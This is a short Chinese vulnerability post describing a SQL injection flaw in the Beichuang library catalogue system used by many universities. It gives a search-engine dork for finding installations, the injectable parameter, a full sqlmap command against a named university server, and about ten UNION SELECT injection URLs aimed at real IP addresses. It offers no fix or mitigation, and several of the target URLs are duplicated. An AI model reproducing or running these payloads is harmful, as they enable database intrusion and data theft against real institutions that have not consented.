北创图书检索系统SQL注入漏洞之一

北创图书检索系统某处过滤不严导致SQL注入,影响众多高校

百度搜索:inurl:/opac_two/search2

1.png

注入链接: /opac_two/search2/shelves_checkout.jsp?library_id= &rec_ctrl_id=

以北京女子学院http://219.242.31.130:8080/opac_two/作为测试案例

1.png

(2)sqlmap注入

 

2.png

其他测试案例:(基于mssql数据库)

1.png

py sqlmap.py -u 'http://opac.lnu.edu.cn/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665' -p rec_ctrl_id --level 5 --risk 3 --technique=U --union-cols=9 --dbms mssql --dbs --batch

2.png

(2)http://202.118.84.134:8080/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

3.png

(3)http://219.218.26.4:85/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

4.png

(4)http://202.197.224.89:8088/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

5.png

(5)http://218.107.150.8/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

6.png

(6)http://202.197.224.89:8088/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

7.png

(7)http://202.197.224.89:8088/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

8.png

(8)http://202.118.84.134:8080/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

9.png

(9)http://202.197.224.89:8088/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

10.png

(10)http://218.107.150.8/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

11.png